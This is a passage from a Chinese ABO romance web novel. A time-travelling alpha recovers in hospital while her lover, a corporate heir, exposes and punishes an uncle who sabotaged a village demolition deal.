离女主越近,被发现的几率就越大。 要远离程卿言? 姜映心口狠狠揪了一下,窒息感涌来,她觉得她做不到,也不想那样做。 几乎没有犹豫,在自由与程卿言之间,天秤果断向程卿言倾斜。 这段时间她和程卿言频繁接触,她也没有被时空局发现,应该没事的,只要她小心一点,只要她不影响主角的命运走向,应该不会被发现。 那程卿言的命运走向是什么? 她不是这个世界的任务者,工作日志里没有关于程卿言的记录,对此并不知情,唯一的信息来源是她的梦境。 可她梦境里的信息也很少,真真假假参和着,不能全信。 这是个感情世界,还是任务世界? 她记得梦境里提示过程卿言在故事的最后会遇见真正喜欢的心上人,这位心上人喜哭爱吃醋,程卿言为讨心上人欢心,让曾经和她有过瓜葛的alpha都没有好下场。 这个信息是真是假暂且不知。 如果是真的,“心上人”是谁,是这个世界真正的任务者吗? 她作为外来者,若是一直留在程卿言身边,会不会影响程卿言的命运,出现不可控的变动。 姜映又开始担心起来,迫切地想知道女人的命运走向到底是什么。 她怕她被时空局发现,可她更害怕她会对程卿言的命运造成恶劣的影响。 脑门上的伤口猛得疼了起来,冷汗冒出,浸湿了纱布,姜映眉头皱起,紧要住牙关,不到半分钟,直接疼晕过去了。 * 再次醒来时,窗外的天模糊亮了起来。 晨光洒落病房,带来了一丝暖意。 姜映睁开眼,看了眼时间,马上七点半。 头已经不疼了,昨夜出现在脑子里回忆的好似是一场梦,亦真亦假,于是在心里念了一遍连接密码,发着蓝光的屏幕瞬间出现。 不是梦,是真的。 姜映无奈地认命了,在系统说话前,她快速退出了登录。 程卿言还没醒,安安静静地躺在旁边的床上睡觉,姜映轻手轻脚掀开被子走过去,坐在她旁边,满是爱意的眼眸一遍又一遍地临摹着女人的面容。 休息了一晚上,女人的气色比昨晚好了很多,可是眉心却是拧着的。 是梦见了什么不好的事情吗? 怎么在梦中也这么累。 姜映心疼地看着她,指腹轻轻地给女人抚着眉心。 “嗯……” 听见女人哼了一声,她附身在女人耳边,温柔道:“姐姐是我,你继续睡。” 程卿言颤了颤眼睫,但没有睁开眼,意识还未清醒,脸颊只是本能地蹭了蹭alpha的脖子,伸手拉住了alpha的衣角。 姜映心口很软很软,轻轻道:“我上床抱着你睡?” 程卿言下意识嗯了一声。 姜映躺上去将女人抱在了怀里,吻了吻她的额头:“睡吧。” 床比较小,躺在床上的两人一直抱着,没觉得有任何难受。 oemga在年轻alpha的怀里睡得很安稳。 时间缓缓流淌着,光影一点点倾斜,金灿灿的光覆在了床单上。 在这期间,姜映没有闭过眼睛,一直看着女人睡觉,在女人眼睫轻颤,要醒来时,她轻呼一口气,等着她醒来。 可能是因为昨天太疲惫的缘故,这一觉睡得比较沉,程卿言缓缓睁开眼,还没反应过来,alpha直接吻住了她的唇。 舌尖探了进去,炽热汹涌地吻她。 …… 张芸推开病房门,往里走了几步,停下顿住,瞧见床上吻得难舍难分的场面,瞳孔放大,震惊。 哐当一声响,提着的保温桶掉在了地上。 她回神,慌忙捡起来,和侧头看过来的两人对视上。 “吵,吵到你们了,你你,你们继续。” 结结巴巴说了句话,红着脸慌忙走出了病房。 第75章 颤动 颤动 第七十五章 病房门关上,张芸红着脸提着保温杯站在门口,方才瞧见的画面对她的冲击力太大,这会儿还处于震惊中。 回头看了好几眼病房号,确定自己没有走错。 在胳膊上狠狠拧了一把,很痛,确定自己是清醒的,没有在做梦。 那她看见的画面都是真的。 张芸依旧有点不敢相信,脸还是烫的。 倒不是她羞于见到别人亲密的画面,她四十多岁了,孩子都有两个了,年轻的时候什么事情没做过,早就不会对这种事情感到羞耻。 而且她还是中学老师,在学校里和搞早恋的学生斗智斗勇,对于年轻人的情情爱爱早就见怪不怪了。 主要是她瞧见的人是姜映。 张芸这些年工作虽然忙,为生活奔波,没有花很多时间在姜映身上,可是姜映的性格她还是知道的。 从小到大情绪都很稳定,安静平淡,无欲无求,也没对任何人或者事情感兴趣过。 可刚才真的看见她的大女儿姜映在和omega接吻。 不是omega吻姜映,而是姜映压在omega身上,单手束缚住omega的双手按在枕头上,还有一只手也不是很老实地伸了人家的衣摆里面,吻得很热烈。 吻的omega还是程卿言,她在学校工作,不了解生意场上的事情,即使这样,她也知道碚城的程氏集团是什么概念,程卿言对于程氏集团而言又是什么概念。 若不是她亲眼所见,她根本不可能相信这是真事。 惊掉下巴,出乎意料。 那,那真的是她的女儿吗,私底下是这个样子啊,胆子这么大。 震惊之余,张芸又有些自责,姜映或许不是突然有这些举动,而是性格里本来就有这一面,只是她对她的关注太少,不了解,没有发现罢了。 作为妈妈,这些年她太失职。 很快,身后一声轻响,病房门打开了。 “阿姨。” 程卿言脸上的红晕已经褪去,穿的得体整齐,神色自若,仿佛什么事情也没发生,礼貌叫了她一声。 张芸回神,朝着她点了点头:“昨晚睡得还好吗?” 本来只是一句关心的话,但说出来她就有点后悔了,毕竟她方才瞧见了年轻人亲密的画面,她这会儿问睡觉这种话,会不会显得她为老不尊。 “挺好的,这边没有挨着马路,很安静。”程卿言没有误会,很自然,“您进去陪姜映吧,她恢复得很好。” 张芸道:“我用大骨熬了粥,带了很多,你一起去吃点。” 程卿言婉拒:“不了,我工作上有些事情等着我处理,得先离开了,您让姜映吃吧,让她好好补一补。” 见她这样说,张芸也没多劝她,普通人的工作都很忙,更何况大集团的管理者:“你快去忙吧,姜映这边有我在。” 程卿言应好,和她道别,离开了医院。 她的背影消失后,张芸才推开病房门走了进去。 姜映已经回了病床上坐着了,和她打了招呼:“妈妈你来了。” 张芸嗯了一声,放下保温桶, 护士和查房医生这会儿也来了,给姜映做了检查,恢复得很好,一行人片刻后离开了病房。 张芸盛了一碗粥,拿起勺子打算喂她。 “我自己来吧。”姜映说。 张芸本想出言决绝,受了伤就好好休息,不要乱动,但又想到了方才姜映吻程卿言的画面,精力旺盛得很,犹豫几秒,直接把勺子给她了:“那你自己吃。” 粥有点烫,姜映小口小口地吃着,道:“你吃了没?” “我在家里已经吃过了,”张芸坐在床边,看着她头上的纱布,心疼道:“伤口还疼不疼?” 姜映见她眼眶泛着红,安慰道:“已经没事了,医生说的话你也听见了,我恢复得很好,明天就可以出院了。” 她觉得她今天出院都行,但是医生不同意,要求她多住一天观察情况。 “你也知道我的愈合能力很强,不会有事的,不用担心我。” 姜映受伤那会儿,张芸没在她身边,没有亲眼看见她流了多少血,可是打电话通知她的亲戚给她描述了现场情况,只是听描述,她也吓得差点晕了过去。 即使知道她愈合能力强,也不可能不担心。 等姜映喝完了一碗粥,放下了勺子,她道:“吃这么少,不多吃点吗?” 姜映摇头:“已经够了。” 张芸想了想,道:“程小姐离开的时候说让你多吃一点,好好补一补身体。” 姜映颤了颤眼睫,哦了一声,静了两秒,主动盛了半碗粥吃了起来。 看来程卿言的话比她说的话管用多了。 张芸内心有些惊讶。 姜映虽然懂事听话,但打小就有自己的想法和主意,会坚持自己的观念,很难有人能改变她,居然会这么听程卿言的话。 片刻后张芸道:“阿映。” 姜映抬眸:“嗯?” 张芸问:“你很喜欢程小姐?” 姜映轻呼一口气,握着勺子的手顿了顿,点头承认道:“很喜欢。” “你们情侣吗?”张芸试探问。 姜映摇头:“不是。” 张芸有些担忧:“那是什么关系?” 不是说发生了肢体接触就一定得是情侣,她没有那么封建,也不会过分干涉姜映的事情,她得尊重她的隐私。 可是那是程卿言,不是普通人家能接触到的人,如果姜映是在姜家长大,也和程家差了一大截。 身份地位上的差距太大了,姜映才二十,社会经验不足,她担忧她会受委屈,被欺负了。 姜映不知道该怎么形容她和程卿言的关系,说是朋友,好像也行,说是情人,她们又没提过。 说是床伴,可她们之间又不是只做爱,她能感觉到女人对她的关心,对她的好,这些都是真实存在的。 她的要求不高,无论是什么身份,只要能让她待在女人身边,能让她开心,她就很满足了。 她喜欢程卿言,让她成为女人的一条小狗,成为女人家里的一花一草,她也愿意。 可是这些能够实现吗? 她不知道,她心里在害怕,害怕程卿言会因为她受影响。 张芸见她沉默下去,脸色不太好,担心道:“是不是头疼了,不想说就算了,不想去想那么多。” 姜映想了想,解释道:“她人很好,对我也很好,无论我和她是什么关系,她都不会欺负我,妈妈你不用在这件事情上担心,我不会受委屈的。” “那就好,你有分寸就行。” 张芸在应话时,有些惊讶姜映居然知道她在想什么,而且还那么平静地说了出来,直白地和她谈程卿言。 她方才撞见了她们亲密的场景,按照她对姜映性格的了解,在这种事情上应该害羞才对,所以她才问的那么含蓄,就是为了不让她尴尬。 细细打量了她几眼,又没有发现不对劲儿的地方。 姜映本来就比同龄孩子要成熟,很多人都说她小小年纪就一把年纪了,应该是她想多了。 既然不害羞,她直言道:“你愈合能力虽然很好,伤口康复得快,但是没好全之前,还是得注意些,情爱的事就先克制一下,最近别做,尽量别折腾,年轻人闹起来没轻没重的,容易牵扯到伤口,知道了吗。” 姜映听得耳朵微红,聊这种事,还是有点不好意思,嗯了一声。 张芸瞧见她害羞的样子,轻轻笑了一声,果然是她想多了,还是会害羞的。 姜映换了话题:“稻村那边的事情怎么样了?” 张芸昨天一直守着她,担心她的伤势,没有精力去管其它的,今早吃早饭那会儿柳絮原才和她说了一些:“拆迁的事没人闹了,都是误会,大家都同意了,丢铁块砸人的是村里精神有点问题的张老二,已经被带去警局了,调查结果还没出来。” 昨天在现场的亲戚给她说了,姜映当时并没有站在丢铁块的那个位子,铁块原本砸不到她,是为了救人,才冲过的。 得喜欢成什么样,才不顾自己的安危,义无反顾地冲过去。 这傻孩子,如此喜欢一个人,也不知是福是祸,张芸在心里叹了一口气。 “对了,你柳阿姨和希未说想来看你,你要是不愿意,我帮你拒绝掉,你好好休息。” “我明天就出院了,不用特意让她们来一趟,明天见也是一样的。”姜映道。 张芸点头:“那我让她们别来了。” 上午张芸一直在医院,中午回了一趟家,柳希未做的饭,她吃过后又去医院给姜映送饭了。 云县不大,二中离医院也不远,骑电瓶车很方便。 姜映不想她来回跑,觉得这样太辛苦了,让她晚上别送饭了,医院食堂送也是一样的。 张芸不答应,她觉得医院食堂做到饭比不上家里的,坚持要送。 在这件事情上起了一点小小的争论,谁也没有退让,正说着话,敲门声响了,程卿言走了进来。 张芸见状,直接和程卿言说了这件事,让程卿言管一管。 果不其然,程卿言开口,姜映就不争了。 张芸摇头笑了一声,起身道:“你们聊,我去一趟张主任的办公室。” 程卿言只有二十分钟的时间,这二十分钟还是百忙中挤出来的,有太多的事情等着她处理了,即使很忙,回碚城前还是来了医院。 女生的脸色看起来比昨天好了很多,她伸手摸了摸她的下巴,还没说话,女生便主动倾身抱着了她,脸颊贴着她的脖子,她能听见她的呼吸很深,抱着她的手也很用力。 “姐姐。” 女生叫了她一声。 程卿言抚了抚她的背脊,柔声道:“怎么了?” 姜映摇头:“没事,想叫你。” 程卿言笑了一声,就这样让女生抱着,给她简单说了一下行程:“我过会儿得回碚城处理事情了,有点忙,你好好在医院休息,随时都可以给我发消息。” “我知道了,”姜映应好,将女人抱得更紧,片刻后低声道,“我会想你的,我这边没事,你不用担心我。” 程卿言心软软的,在她脸颊上亲了亲。 时间过得很快,转眼间二十分钟就过去了,她道:“我得走了。” 姜映不舍地松开她:“我送你下楼。” 程卿言摇头:“不了,你好好在病房休息。” 送她到了楼下,肯定又想送她去高铁站,女生的伤还没好全,不能这样折腾。 道别后,她离开了病房,去了停车场,坐上车后静了几秒,才道:“开车吧。” 秦助理应好,驾车离开了医院。 这辆车是云县分公司安排的,车内没有她喜欢的青竹香氛,程卿言觉得有些闷,开窗透了透气。 冷风吹进来,脑子清醒了许多。 程卿言靠着靠椅,指尖在膝盖上轻轻点着,回想着姜映昨晚醒来后鲜活的样子,渐渐覆盖了记在她脑子里满脸是血毫无生机地躺在地上的场景,一次次回想,心口的郁闷才慢慢消散,好受了许多。 没事就好。 而且还恢复得很好。 不过令人担忧的小姑娘精力是真的好,很能折腾,胆子也变得更大了。 早上她刚睁眼,没有彻底清醒,女生就直接吻住了她。 不是浅浅地在嘴唇上亲一下,吻得很深,缠绵悱恻,舌头挑开了她的牙关,像把她揉进身体里一般,热烈汹涌地吻着她。 手也不是很老实,不仅抓住了她的双腕压在了枕头上,另一只手也在她的腰腹间徘徊。 吻技好,就吻了那一小会儿,她就有了感觉,胸腔因为她而猛烈颤动着。 可那是病房,随时可能有人进来的病房,alpha头上还有伤,alpha胡来,她不可能在那种情况下跟着胡来。 理智尚在,示意alpha停下,别再乱动吻她了。 但alpha如同没听见,不给她说话的机会,将她吻得更深了。 不知道是不是她的错觉,她觉得女生好似有了些以往没有的强势,强势中又不失温柔,既是欲望,又有浓浓的怜惜与爱意,搞得她心神荡漾。 若不是张芸突然来了,保温桶落在地砖上发出的哐当响声打断了她们,她真的不敢保证后面会发生什么。 毕竟当时她的理智在alpha的唇舌下一点点瓦解,她挣扎不开,欲念也越来越强烈。 离开病房后,她直接去酒店快速洗了澡,换了干爽的衣服。 大早上突然搞这一出,程卿言这会儿脑子清醒了,细细想来,对此确实比较意外。 她一直知晓女生喜欢她,近期也热衷于和她发生亲密接触,可是一直很有分寸,不会不管不顾地乱来。 病房,清晨,还带着伤…… 程卿言忖度片刻,琢磨着姜映有如此大胆举动的原因。 片刻后她想到了她问女生头被砸到时是不是很疼,对方说是。 能让姜映都承认的疼痛,直接倒下的疼痛,肯定是常人无法忍受的。 倒下闭眼的那一瞬间,应该很无助,意识在消失,即将陷入黑暗,甚至可能会出现死亡的感觉,周围的一切都在流逝。 无论是谁应该都会对此感到恐惧和害怕,姜映虽然比同龄人要稳住很多,但也是二十出头的小姑娘,醒来后肯定会感到不安。 因为不安,想确定自己所处的环境是不是真实,情绪波动大,出现了一些反常也很正常。 想到此处,程卿言心口一颤,无尽的心疼涌了出来,酸酸涩涩地深呼了一口气。 她昨晚不该睡这么早,应该再撑一撑,和她聊聊天,关心女生的内心,是她疏忽了。 深呼一口气,程卿言拧了拧眉心,侧眸看了眼窗外,已经到高铁站附近了。 手机在这时响了一声,她拿起来看了一眼,是姜映发的消息。 姜映:【姐姐你到高铁站了吗?】 问的这么准时,在她离开医院后,肯定一直关注着时间,途中没有问,大概是想着她会休息或者在处理工作,没有打扰她。 程卿言轻叹一口气:【已经到了,还没下车】 姜映:【哦】 程卿言:【想我了?】 姜映如实回复:【想你了】 程卿言勾了下唇:【暂时别想了,闭上眼睛午休】 姜映:【我不困】 程卿言没有由着她:【不困也得睡会儿】 姜映:【好吧,你呢,你要休息会儿吗】 程卿言:【上高铁之后再休息】 聊了几句,车开进了停车场,两人结束聊天,程卿言将手机放进包里,和秦助理一起进了站,坐上了回碚城的高铁。 她没骗姜映,坐上位置后确实闭上眼睛休息了半个小时,如果不休息,接下来的事情处理起来会有些吃力。 四十分钟后,到了碚城。 程卿言径直去了程氏总部,余简予一直在等她,瞧见她回来,急切关心道:“你怎么样?” 昨天收到稻村出事的消息,真的吓到她了,但是总部这边需要她守着,不能离开,因此她不能去云县,一整天都过得提心吊胆,这会儿瞧见程卿言完好无损地出现在她眼前,才松了一口气。 但还是不怎么放心,细细观察了她身上有没有伤口。 程卿言告诉她:“我真的没事,别担心了,走吧,得去会议室了。” 稻村居民已经不会再闹了,正式和程氏签了拆迁合同,网上恶意造谣的舆论也得到了控制,事情已经解决了一大半。 但是程氏的企业形象得挽回,不能在公众眼中留下这种虚假的污点,所以后续会召开发布会,澄清这件事。 一个小时后,会议结束。 余简予和程卿言聊了几句,就去筹划发布会的事情了。 程卿言回了办公室,窗外的天色已经慢慢暗下去了,刘局给她打来了电话,她站在落地窗前按了接通。 二十多分钟过去,电话接近尾声,她道了谢,又寒暄了几句,才挂断了电话。 办公室没开灯,程卿言面无波澜,在这片寂静与昏暗中站着,亮着的手机屏幕是唯一的光源,几分钟光源熄灭,她离开了公司,开车去了程家老宅。 程老太太正在大门旁边的花园里浇花,见她突然回来了,神情没有太大的变化,平淡地招呼她过去看看她养得花怎么样。 程卿言不懂园艺,看着满园的花朵,选中一朵颜色最淡的,指尖落上去轻轻抚了抚。 “可以折下来。”程老太太说。 程卿言:“不了。” 程老太太:“不喜欢也可以折。” 不喜欢折下来做什么,程卿言没有动手。 片刻后,院子里又开进了一辆车,程深绩下车走了过来,和老太太打了招呼。 程老太太问道:“怎么突然回来了?” 程深绩:“不是您叫我回来吃饭的吗?” 程老太太静了几秒,侧头看了眼程卿言,像是明白过来什么,放下花洒道:“都进屋吧。” 回了室内,程深绩问道:“老三呢,她怎么没回来?” “小姑不回来,”程卿言接话,“奶奶也没有叫你回来,是我让你回来的。” 程深绩一愣,眉头皱了起来,随即暴躁道:“程卿言你在搞什么,程家还不是你说了算,你就无法无天了,我好歹是你二叔,你就这样戏耍长辈?” “长辈?”程卿言看着他,冷笑一声,“这会儿知道你是长辈,知道你也姓程了,做损害程家利益的事时怎么就不想想你也姓程?” 程深绩眼神一凝,出现了几秒的慌乱:“你什么意思!我懒得和你废话,我还有事,今天的事就不和你计较了,我先走……啊!” 程卿言高跟鞋的鞋尖果断狠决地踹在他的腿弯处,见他疼得弯腰叫了起来,她再补了一脚在他另一条腿上。 用了全部的力气狠狠踢过去的,速度很快,消耗体力也多,停下后额头上出了些汗,呼了口气,冰冷道:“还轮不到你计较。” 两脚下去,程深绩疼得跪在了地上,怒气上来了,缓了几秒就要爬起来动手。 安静在一旁候着的秦助理直接将他按了下去,秦助理是练家子,力气比程卿言重无数倍,哐的一声剧响,程深绩双膝跪地,疼得面目扭曲,豆大的汗冒出来。 秦助理不松手,他起不来,忍着痛求着老太太:“妈,疼啊,妈你救我,程卿言疯了!” 疯了? 程卿言看着他额头上疼出来是汗,而不是鲜血,只觉得她还是太善良了,还是太理智了,根本和疯扯不上关系。 她如果真的疯了,就不会直接来老太太面前处理这件事。 听着他呼疼,她只觉得可笑,再疼能有姜映疼? 姜映受伤虽然属于意外,行凶的人和程深绩没有直接关系,但若不是程深绩在背后煽动稻村的人反对拆迁,她们也不会去稻村,姜映也不会出事。 稻村事情已经调查清楚了。 公司关于拆迁的机密文件是程深绩让人泄露出去的,引起了稻村住户的慌乱。 昨天在人群中鬼鬼祟祟的眼镜就是程深绩找的煽动者。 眼镜是稻村人,一直住在稻村,程氏的人之前谈拆迁的事时和他打过交道,他属于赞成拆迁的那一批,很配合工作,只想早点拿到拆迁款改善生活,没有任何异样之处。 至于为何突然做这种事,因为他突然检查出了疾病,活不了多久,可能拆迁款还没批下去,就已经不在了。 心里扭曲,他享受不了,也不想让同村的人享受,而且他还怕他走了之后,他的伴侣带着钱改嫁别的人,所有人都过上好日子,都遗忘了他,所以才想搞砸拆迁的事。 丢铁块的人是稻村的张老二,精神一直有问题,平时一直被关在家里的,不会有机会出来惹事。 昨天是因为张老二的家里人都跑去赶程氏的人了,走的时候匆忙,大门没锁好,张老二才跑了出去,悄悄躲进了广播楼,楼下的吵嚷使其受到了惊吓,才疯癫颠地丢东西下来。 案件该如何判就如何判,警局会依法处理。 程深绩一直在向老太太求救,老太太要开口说话时,程卿言直接拿出了调查结果,上面详细地写了程深绩都做了些什么。 程老太太看了之后,脸色直接黑了下来。 程卿言淡淡道:“奶奶您想怎么处理这件事?” 属于程家的家丑,程家直系人口本来就不多了,若是将这些事传出去,只会让程家丢了面子,影响公司的形象和股价,老太太沉思着。 程深绩当然清楚稻村这几日发什么事,在知晓程卿言差点出了意外时,还遗憾砸到的人为什么不是程卿言,但这会儿却急切地解释道:“妈,我没有要害她的命,那不是我做的,我只是煽动了一下稻村的人,不想让科技园的项目进展的那么顺利,妈,我知道错了,你就原谅我吧。” 他疼得流着泪,拉着老太太的手哀求着。 程老太太没有应话,任由他哭诉。 “卿言,卿言,我知道错了,我以后不会再做糊涂事使绊子了,你原谅我行吗,你让你的助理松开手,我以后不会了。”程深绩又去求程卿言。 程卿言不想他碰到自己往后退了一步,问道:“你是如何得到那两分内部文件的?” “我不知道,是有人匿名发在我邮箱里面的,我没有买通任何人,肯定是有人要陷害我,卿言,妈,是有人要陷害我,挑拨程家的关系。” 程卿言觉得他聒噪,厌烦,听得脑门疼,她有些疲了,去接了一杯温水喝了几口,和老太太告辞,离开了程家。 秦助理也跟着她走了。 老宅的客厅只剩下程老太太和程深绩。 程卿言膝盖疼得厉害,抹了抹眼泪,要爬起来。 老太太道:“跪着。” 程深绩一愣,不敢起来,不服气地看了眼老太太。 程老太太一直看着他,沉默了几分钟,摇头道:“程家怎么有你这么个东西,你没做生意的天赋偏要做生意,说这是你的梦想,我没阻止你,你做生意亏了这么多钱,我也没责骂过你。” “这些都是你笨你蠢造成的,程家养得起你,也可以养你,但你这次做了什么,为了自己的私欲损害家族的利益,还差点害了卿言,你这是坏,你知道吗?” “我坏?”程深绩红着眼睛,抱怨道,“我为什么变成这样你不是最清楚吗,我从小就得不到重视,你一直忽略我,你眼睛里只有你的老大!只有老大才是你的骄傲。” “老大死了之后总该轮到我了吧,还是没有我,你又开始将所有心思用在程卿言身上。” “我就是嫉妒,我哪里不如老大!” 程老太太:“你哪里都不如她,她的能力,天赋,品性,哪一样你能比。” 老大程颐的死一直是老太太心中的痛,无论过了多少年都无法修复的痛,在她心里,这世界没有人能和老大比。 “老大的品性?”程深绩受了刺激,讥笑道,“她有品性吗,她要是有品性就不会让程卿……” “啪”的一声巨响。 程老太太胸腔起伏,一巴掌打在了他脸上,嘴角直接冒出了鲜血。 “住嘴。” “你已经疯了,得换个适合你的地方好好反省。” 程老太太冷漠地看了他一眼,招手让老宅里的安保人员进来,带着程深绩出去了。 管家见老太太的掌心很红,气色也不太好,赶忙让家庭医生进来给老太太做了检查。 好在只是情绪起伏过大,血压高了一点点,缓一缓就恢复了。 程老太太看着外面黑透了的天,问道:“程卿言呢?” 管家回复:“小小姐去公司了。” 程老太太想了想:“等会儿你把老二的处理给过告诉她。” “您不亲自说吗?”管家问道。 程老太太摇头:“不了,我累了。” 她起身去了三楼,管家看着她苍老的背影,看着她走进了程颐的房间。 * 程卿言是在晚上收到的微信消息,老宅的管家告诉她,老太太已经让人送程深绩去程家在非洲投资的某个小岛上静养。 岛上有程氏为当地人建设的企业和医院,偏僻落后,程深绩可以在那里生活工作,没有允许,回不了碚城。 看了消息后,程卿言没什么太大的反应,对事情的处理结果并不意外。 她知道老太太眼里只有老大,对于其余晚亲人,都不是很在意,既不会虐待,也不会过分疼爱。 程深绩会对付她,只是因为嫉妒老大,她心里明白,才没有亲自处理程深绩,而且叫其去了老太太那里,触碰到老太太的逆鳞,自然不会有好果子吃。 如果她亲自处理到这种地步,老太太肯定会出手阻止,用不了多久就会原谅程深绩,所以只能老太太亲自来。 程卿言呼了口气,她并不觉得她过分,从前程深绩大大小小给她惹了多少麻烦,她都没怎么计较,但是这次她忍不下去了,她也有她的逆鳞。 姜映不能再出事了。 她受不了。 不过还有一件事没解决,是谁匿名给程深绩发的邮件? 她已经派人调查了程深绩的电脑,确实是匿名的,发信人的地址用技术隐藏了,做的很隐蔽,暂时没查出来。 程卿言静思片刻,端起杯子抿了口温水,吃了一颗体能药,闭上眼睛休息了几分钟,而后继续工作。 今夜没有回月泊林,在公司的休息室睡了一晚,睡前和姜映通了视屏,没聊几句话,听着女生的声音她就睡着了。 日次醒来,手机已经没电了,她找出充电器插上,解锁后点进和姜映的聊天界面,界面上显示着昨晚的视屏时间。 两小时二十六分钟。 这么久。 所以,她睡着后女生并没有挂断,而是一直看着她睡觉。 程卿言心口颤动着。 小傻子。《 》 75-80 第76章 躺好 躺好 第七十六章 程卿言嘴角扬了一下,心口暖暖的。 此刻七点零三分,天只是模糊天,按照她对姜映生物钟的了解,大概已经起床了。 休息室内只开了一盏微弱暖黄的夜灯。 程卿言还没起床,盖着被子躺在被窝里,想了几秒,重新给姜映打了视频。 很快,视频接通,女生的脸出现在眼眸里。 姜映眼眸弯弯,柔和道:“姐姐。” 程卿言刚醒,声音有些沙哑,嗯了一声:“你起床了?” 姜映点头:“我醒了就起了,刚吃了早饭。” “吃的什么?” “大骨粥。” “好吃吗?” “还不错,我下次做给你尝尝。” “嗯……” 女人这声似撒娇般的轻哼,直接让姜映耳朵发痒,呼了口气,瞧着屏幕里露出来的画面,知道女人还躺在床上,她问道:“你还要睡会儿吗?” “不睡了,在床上懒一会儿就行了,”程卿言看着女生的眼眸,即使隔着屏幕,也能感受到里面浮动的浓浓情意,女生很喜欢她,“你昨晚怎么不挂电视频?” 姜映颤睫:“想多看你一会儿。” 程卿言笑了一声:“喜欢啊?” 姜映点头:“喜欢。” 程卿言不介意她看她,但是也不能影响休息,如果不是她的手机没电了,对方大概会看一整晚。 “我想你了。”她柔着声音,说了一句这样的话,直白,突然,未经思考的,很认真地说了出来。 她以前也对女生说过类似的话,虽然都不是在开玩笑,但每一次好像都带了点打趣的意味,没有用如此认真的语气表达过。 在说这话时,她的心里全是她,她的想念也迅速膨胀,不只是想在视频里见她,还想抱她吻她,感受她的温柔与气息。 思恋是种神奇的东西,弄得她心里酸酸胀胀的,听见女生也说想她了,很想。 她没忍住,轻轻叹了一口气,更想了。 可惜她今天也没空去云县,公司还有事情要处理,明天应该可以,她今日尽快将事情安排好,今天就能见面了。 聊了十多分钟,她听见医院那边有医生在叫姜映,应该是要做检查,于是没再聊下去,挂断了视频。 静躺了半分钟,起床洗漱,换好衣服后去了楼下员工食堂吃早饭。 余简予昨晚也留在了公司,没有回家,这会儿和她一起吃饭。 程卿言给她说了程老太太对程深绩的安排。 余简予震惊,放下杯子问道:“老太太这么狠心啊?” 程卿言点头:“老太太一直如此。” 程老太太如果不狠心,程家也就落不在老太太手里,程氏也不可能发展得这么好。 在老太太那一辈人中,兄弟姐妹特别多,对于继承人的竞争十分激烈。 最终能站上高位的,都是能力强并且能狠下心的。 余简予的长辈是程氏较大的股东,因此余家和程家从老太太那一辈起,关系就很好。 她小时候也跟着长辈去过程家老宅,有一次瞧见老太太对程卿言进行严苛的教育,她当场就吓哭了,小小的她心里留下了很大的阴影,一直很害怕程老太太。 直到成年之后,心性成熟很多,老太太年纪大了,也慈祥了很多,她才没那么怕了。 不过程老太太这次对程深绩的惩罚,她还是很满意的,程深绩蠢,平时没少添乱子,她不待见他。 不想再聊程深绩,她转而问:“姜映怎么样了?” 程卿言说:“不严重,恢复得很好。” 余简予点头:“那就好,她什么时候回碚城,大家一起吃顿饭呗。” 这件事之后,她心里已经真正认同姜映,之前虽然知道姜映喜欢程卿言,但她并不清楚这种喜欢有多深,年轻alpha的喜欢有多重。 她谈过恋爱,也和比她小的alpha谈过,喜欢的时候确实很喜欢,但这种喜欢有限的,热情过去后,很快就消散了。 年轻人适合谈恋爱,不适合过日子。 可是姜映这此的举动,真的震惊到她了,在危险面前,人的本人是自保,姜映的本能好像是保护程卿言,将程卿言放在了首位。 她作为程卿言的多年好友兼工作搭档,真心地感谢姜映保护了她。 吃顿饭正式认识,是应该的。 “她伤没好全,得在家里养几天才会回碚城,”程卿言道,“我上次也给她提过这个事,她带上她的好朋友,我带上你和秋染,一起吃顿饭。” 余简予:“好呀,等她回来了我们就约。” 云秋染刚结束见面会,目前还没进组拍戏。 公司这边已经处理好拆迁的事情,她和程卿言也不会像前段时间那样忙了,年前不会再经常熬夜加班了,肯定能找出大家都有空的时候。 程卿言很乐意姜映走进她的生活,点头:“等她回来了,我和她商量一下。” 余简予瞧着她提起姜映是嘴角扬起的弧度,忽然乐了一声。 程卿言抬眸:“嗯?” “没事,”余简予,“我就是心情好。” 一切都在往好的方向发展,程卿言从前的生活过得太辛苦了,日后一定会很美满,在她心里,程卿言配得上最诚挚的感情。 早饭过后,程卿言回了办公室,开始处理工作,上了开了两场会议,重点布局了科技园下一步的发展。 拆迁这块硬骨头啃下来了,后续的步骤就会顺利很多。 苏氏那边也派了一位副总过来,参与了会议。 副总告诉程卿言,本来苏敛懿打算亲自过来,但是昨晚临时有事出差了,今天赶不回来,苏敛懿还让副总带了话,说她下次一定得来尝尝程氏的食堂。 待苏氏的副总走了之后,余简予笑着八卦:“应该不只是来尝食堂的,是来见何助的吧。” 程卿言挑了下眉,认同她的说话,走了几步,忽然问道:“当初是你和我一起面试的何助吗?” 余简予点头:“我们一起的,本来是我要挑助理,是你陪我,我没挑中合适,你看上了何助。” 程卿言:“我那会儿为什么选她?” “记不清了,可能是因为她简历优秀吧,你让人事去找一下当年的面试录像,不就知道了嘛,”时间太久了,余简予也记不起这些事了,“怎么了?” 程卿言摇头:“没事,随便问问。” 聊了几句,一起下楼离开了公司。 下午得召开发布会,请了很多记者媒体到场,现场直播,直接了当地向社会公示了程氏集团自开启城西科技园项目起,制定的每一份有关稻村拆迁的文件,都是收到相关部门监管,合法合规地进行。 程氏员工和住户每一次面谈的过程也有详细的记录,关乎住户的隐私,这一部分不会对外公布,但相关部门可以查看,能证明程氏的清白。 程氏集团没有任何问题,经得起任何检查,对于栽赃陷害责,跟风造谣者,有权追责,该道歉的道歉,删贴的删贴。 事情彻底解决时,已经到了傍晚。 天色昏暗,程卿言累得呼了口气,坐上车后没有闭上眼睛休息,还拿出了手机。 余简予见状,皱了皱眉,直接抢走了她的手机。 程卿言:? “干嘛?” 余简予教训道:“你看看你累成什么样了,就不能好好休息吗,有什么工作你告诉我,我来处理。” 程卿言:“我想发消息。” 余简予:“给谁发,我帮你。” 程卿言:“给姜映发。” 余简予愣了一下,咳了一声:“我还以为你要发工作消息。” “手机可以还给我了吗?” “给你。” 程卿言拿回手机后,没有点开手机,而是放下来。 余简予问:“你不是要发消息吗?” 程卿言:“不发了,我到家了给她打电话。” 余简予懂了,是嫌她在车里当电灯泡了,哼了一声:“我们这么熟了,还有内容是我不能听的吗。” 程卿言:“很多你都不能听。” 余简予切了一声:“姜映那害羞的性子,我才不信她能聊什么不能听的。” 程卿言笑了一声,有些快乐,即使是好友,她也不想分享。 姜映虽然会害羞,但是在亲密的时候,不仅会说情话,还会时不时地说一些令人面红耳赤的话。 在她到的时候,坏东西会夸她很多,说她甜甜的。 